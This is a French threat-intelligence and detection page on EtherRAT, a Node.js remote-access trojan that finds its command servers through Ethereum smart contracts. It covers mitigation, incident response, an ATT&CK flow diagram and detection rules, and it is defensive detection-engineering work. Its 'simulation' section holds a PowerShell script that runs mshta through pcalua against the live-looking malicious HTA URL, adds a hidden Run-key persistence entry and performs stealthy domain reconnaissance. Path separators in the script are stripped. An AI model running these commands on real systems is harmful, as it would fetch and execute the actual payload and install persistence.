EtherRAT & Module SYS_INFO : C2 sur Ethereum (EtherHiding), Sélection de Cibles, Balises Similaires à un CDN
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
EtherRAT est un cheval de Troie distant basé sur Node.js qui résout ses points d’extrémité de commande et de contrôle à partir de contrats intelligents Ethereum en utilisant une approche dite d’“EtherHiding”. Il se mélange au trafic web normal en configurant ses balises pour ressembler à des requêtes CDN bénignes, tout en ciblant des données de grande valeur telles que les portefeuilles de crypto-monnaies et les identifiants cloud. L’accès initial est généralement provoqué par de l’ingénierie sociale de type ClickFix ou par de fausses sollicitations du support technique informatique qui déclenchent l’exécution malveillante d’un fichier HTA via pcalua.exe et mshta.exe.
Enquête
L’eSentire Threat Response Unit a observé une chaîne de chargeur multi-étapes comprenant un flux de travail de décryptage AES-256-CBC, une persistance via une valeur registre HKCU Run, et un module SYS_INFO responsable d’un profilage large de l’hôte. EtherRAT contacte plusieurs fournisseurs publics de RPC d’Ethereum pour localiser le contrat intelligent pertinent, puis dérive des URL de type CDN et les interroge pour des missions et des commandes ultérieures, renforçant ainsi son déguisement de “trafic légitime”.
Atténuation
Utilisez AppLocker ou WDAC pour bloquer ou contrôler étroitement pcalua.exe et mshta.exe, et restreignez le dialogue Exécuter de Windows via les stratégies de groupe. Dans la mesure du possible, limitez ou bloquez l’accès aux infrastructures RPC crypto publiques connues et alertez sur une utilisation Ethereum RPC inattendue depuis des points d’accès qui n’en ont pas besoin. Déployez des contrôles d’endpoint capables de détecter les chevaux de Troie basés sur Node.js et surveillez les motifs de balisage anormaux qui imitent le comportement de récupération de CDN vers les domaines identifiés.
Réponse
En cas de détection d’activité d’EtherRAT, isolez le point d’accès, terminez le processus en cours et supprimez l’entrée de persistance HKCU Run ainsi que tout artefact déposé. Effectuez une analyse forensic complète pour confirmer qu’aucune autre charge utile n’a été mise en scène, et faites pivoter des crédences exposées—en priorisant les secrets de portefeuilles de crypto-monnaies et les clés de services cloud. Étendez les recherches dans tout l’environnement pour des recherches similaires Ethereum-RPC et des comportements de balisage de type CDN pour évaluer une éventuelle propagation.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Techniques tech_initial_access["<b>Technique</b> – <b>T1218.005 Exécution de Proxy Binaire Système</b><br/>pcalua.exe lance mshta.exe pour télécharger et exécuter des HTA malveillants"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Technique</b> – <b>T1202 Exécution de Commande Indirecte</b><br/>Obfusque la ligne de commande pour invoquer d’autres binaires"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Technique</b> – <b>T1059.003 Interpréteur de Commandes et Scripts : Windows Command Shell</b><br/>Exécute des commandes PowerShell et reg pour obtenir des empreintes"] class tech_cmd_shell technique tech_persistence["<b>Technique</b> – <b>T1546.007 Netsh Helper DLL</b> et <b>T1037.004 Scripts RC</b><br/>Crée une clé HKCU Run lançant conhost.exe node.exe en arrière-plan"] class tech_persistence technique tech_defense_evasion["<b>Technique</b> – <b>T1027 Fichiers ou Informations Obfusqués</b> avec des sous-techniques Polymorphic Code, Dynamic API Resolution, Payloads Intégrés, Désobfuscation/Décodage"] class tech_defense_evasion technique tech_c2_resolver["<b>Technique</b> – <b>T1102.001 Dead Drop Resolver</b><br/>Récupère une adresse C2 d’un contrat intelligent Ethereum"] class tech_c2_resolver technique tech_c2_comm["<b>Technique</b> – <b>T1102 Web Service</b> avec une communication bidirectionnelle (T1102.002) et unidirectionnelle (T1102.003)<br/>Les requêtes HTTPS imitent le trafic CDN"] class tech_c2_comm technique tech_collection["<b>Technique</b> – <b>T1602.002 Dump de Configuration des Appareils Réseau</b><br/>Collecte les fichiers OS, le matériel, le réseau, AV, les fichiers de portefeuilles crypto et les identifiants cloud"] class tech_collection technique tech_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration sur Channel C2</b><br/>Envoie les données collectées par le même canal HTTPS"] class tech_exfiltration technique tech_impact_hijack["<b>Technique</b> – <b>T1496.001 Détournement de Calcul</b><br/>Vole des fichiers de portefeuilles crypto"] class tech_impact_hijack technique tech_impact_cloud["<b>Technique</b> – <b>T1537 Transfert de Données vers Compte Cloud</b><br/>Télécharge des identifiants vers un stockage cloud"] class tech_impact_cloud technique tech_software_ext["<b>Technique</b> – <b>T1176 Extensions Logicielles</b> et <b>T1505.004 Composants IIS</b><br/>Télécharge l’environnement Node.js et des modules supplémentaires"] class tech_software_ext technique tech_lateral["<b>Technique</b> – <b>T1080 Contamination de Contenu Partagé</b><br/>Télécharge d’autres charges utiles/moyens de serveurs distants"] class tech_lateral technique %% Nodes u2013 Tools tool_pcalua["<b>Outil</b> – <b>Nom</b>: pcalua.exe<br/><b>Description</b>: Installateur Autonome de Mise à Jour Windows utilisé comme proxy"] class tool_pcalua tool tool_cmd["<b>Outil</b> – <b>Nom</b>: cmd.exe<br/><b>Description</b>: Shell de commande Windows avec obfuscation du caret"] class tool_cmd tool tool_ethereum["<b>Outil</b> – <b>Nom</b>: Fournisseur de RPC Ethereum<br/><b>Description</b>: Points d’extrémité RPC publics utilisés pour interroger le contrat intelligent"] class tool_ethereum tool tool_nodejs["<b>Outil</b> – <b>Nom</b>: Environnement Node.js<br/><b>Description</b>: Exécute des modules supplémentaires téléchargés depuis C2"] class tool_nodejs tool %% Nodes u2013 Processes process_mshta["<b>Processus</b> – <b>Nom</b>: mshta.exe<br/><b>Description</b>: Exécute des fichiers HTA"] class process_mshta process process_powershell["<b>Processus</b> – <b>Nom</b>: powershell.exe<br/><b>Description</b>: Exécute des scripts PowerShell pour le fingerprinting du système"] class process_powershell process process_conhost["<b>Processus</b> – <b>Nom</b>: conhost.exe<br/><b>Description</b>: Processus hôte utilisé pour lancer node.exe en arrière-plan"] class process_conhost process process_https["<b>Processus</b> – <b>Nom</b>: Client HTTPS<br/><b>Description</b>: Envoie des requêtes telles que /api/<hex>/<UUID>.ico mimant le trafic CDN"] class process_https process process_remote_download["<b>Processus</b> – <b>Nom</b>: téléchargeur<br/><b>Description</b>: Récupère des charges utiles supplémentaires depuis les serveurs distants"] class process_remote_download process %% Nodes u2013 Malware malware_obfuscator["<b>Logiciel malveillant</b> – <b>Nom</b>: Charge utile générée par Obfuscator.io<br/><b>Description</b>: Stades chiffrés par AESu2011256u2011CBC avec code polymorphe"] class malware_obfuscator malware %% Connexions tech_initial_access –>|utilise| tool_pcalua tool_pcalua –>|lance| process_mshta process_mshta –>|télécharge| "shep.hta" tech_initial_access –>|mène à| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|utilise| tool_cmd tool_cmd –>|invoque| process_powershell process_powershell –>|exécute| tech_cmd_shell tech_cmd_shell –>|permet| tech_persistence tech_persistence –>|crée| process_conhost process_conhost –>|lance| tool_nodejs tech_defense_evasion –>|s’applique à| malware_obfuscator malware_obfuscator –>|fournit la charge utile pour| tool_nodejs tech_c2_resolver –>|récupère l’adresse via| tool_ethereum tool_ethereum –>|interroge| "contrat intelligent Ethereum" tech_c2_comm –>|communique via| process_https process_https –>|transfère des données à| tech_collection tech_collection –>|données exfiltrées via| tech_exfiltration tech_exfiltration –>|livre à| tech_impact_hijack tech_exfiltration –>|livre à| tech_impact_cloud tech_software_ext –>|télécharge| tool_nodejs tool_nodejs –>|permet| tech_lateral tech_lateral –>|télécharge| process_remote_download "
Flux d’Attaque
Détections
Pcalua LOLBAS (via ligne de commande)
Voir
Processus Lolbin Créant des Fichiers (via événement_fichier)
Voir
MsiExec Lancé par le Processus Shell (via ligne de commande)
Voir
Conhost LOLBAS (via ligne de commande)
Voir
Comportement d’Évasion de Défense LOLBAS MSHTA Suspect par Détection de Commandes Associées (via création de processus)
Voir
Tentative Possible de Communication de Domaine de Recherche d’IP (via dns)
Voir
Énumération ou Manipulation Possible de Compte ou de Groupe (via ligne de commande)
Voir
Utilisation Suspecte de CURL (via ligne de commande)
Voir
Détection Probable de l’Environnement de Virtualisation Windows Utilisant WMI (via ligne de commande)
Voir
Points de Persistance Possibles [ASEPs – Logiciel/NTUSER Hive] (via ligne de commande)
Voir
Vérifications d’Évasion Possibles (via powershell)
Voir
Obfuscation Possible de Ligne de Commande en Insérant des Carets (via ligne de commande)
Voir
Énumération Possible de Logiciel Antivirus ou de Pare-feu (via création de processus)
Voir
Découverte d’Information Système Linux (via ligne de commande)
Voir
IoC (SourceIP) à détecter : EtherRAT & Module SYS_INFO : C2 sur Ethereum (EtherHiding), Sélection des Cibles, Balise de Type CDN
Voir
IoC (DestinationIP) à détecter : EtherRAT & Module SYS_INFO : C2 sur Ethereum (EtherHiding), Sélection des Cibles, Balise de Type CDN
Voir
IoC (HashSha256) à détecter : EtherRAT & Module SYS_INFO : C2 sur Ethereum (EtherHiding), Sélection des Cibles, Balise de Type CDN
Voir
Détecter l’Accès Initial EtherRAT via ClickFix et Exécution Indirecte de Commande [Création de Processus Windows]
Voir
Exécution de Simulation
Prérequis : La vérification préalable de la télémétrie et de la base de référence doit avoir été réussie.
Justification : Cette section détaille l’exécution précise de la technique d’attaque (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à une mauvaise interprétation.
-
Narrative et Commandes d’Attaque :
- Accès Initial – Installateur ClickFix : L’attaquant utilise un installateur ClickFix malveillant qui exécute un
cmd.execaché qui appellepcalua.exe. - Exécution Indirecte :
pcalua.exeest instruit de lancermshta.execontre un fichier HTA distant hébergé surhttps://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Ce script HTA charge la charge utile EtherRAT. - Configuration de la Persistance : L’installateur ajoute une
Runvaleur au registre sousHKCUSoftwareMicrosoftWindowsCurrentVersionRunpointant vers une chaîne d’exécutionconhost.exe→node.exesécurisant le démarrage du logiciel malveillant lors de l’ouverture de session. - Reconnaissance de Domaine : Parallèlement, une commande PowerShell est exécutée pour lire le nom de domaine de la machine, signalant à l’attaquant que l’hôte est joint au domaine.
Les trois lignes de commande sont exécutées à partir d’une seule instance
cmd.execachée, correspondant à la règle Sigmaindicateur1/indicateur2orindicateur3combinaison. - Accès Initial – Installateur ClickFix : L’attaquant utilise un installateur ClickFix malveillant qui exécute un
-
Script de Test de Régression : Le script ci-dessous reproduit exactement les lignes de commande (les chemins spécifiques à l’utilisateur sont résolus via les variables d’environnement).
# ------------------------------------------------------------- # Simulation d'Accès Initial EtherRAT – Enrobeur PowerShell # ------------------------------------------------------------- $username = $env:USERNAME $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta" $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' $conhostPath = "$env:WINDIRSystem32conhost.exe" $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe" $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin" # 1. Indicateur 1 – pcalua -> mshta $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden # 2. Indicateur 2 – Clé de marché avec chaîne conhost $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f" $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden # 3. Indicateur 3 – Saisie domaine PowerShell $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`"" $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden Write-Host "`n[+] Commandes de simulation émises. Vérifiez le SIEM pour des alertes correspondantes." -
Commandes de Nettoyage : Supprimez l’entrée du registre et effacez tous les fichiers créés par la simulation.
# ------------------------------------------------------------- # Nettoyage – suppression de la clé Run et des fichiers temporaires # ------------------------------------------------------------- $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' # Supprimer la valeur clé Run if (Test-Path $runKeyPath) { Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue Write-Host "[+] Valeur de registre Run $runValueName retirée" } # Supprimer les fichiers résiduels (s'ils ont été créés) $paths = @( "$env:TEMPbenign.txt" # à partir de la base de référence (optionnel) ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item $p -Force } } Write-Host "[+] Nettoyage terminé."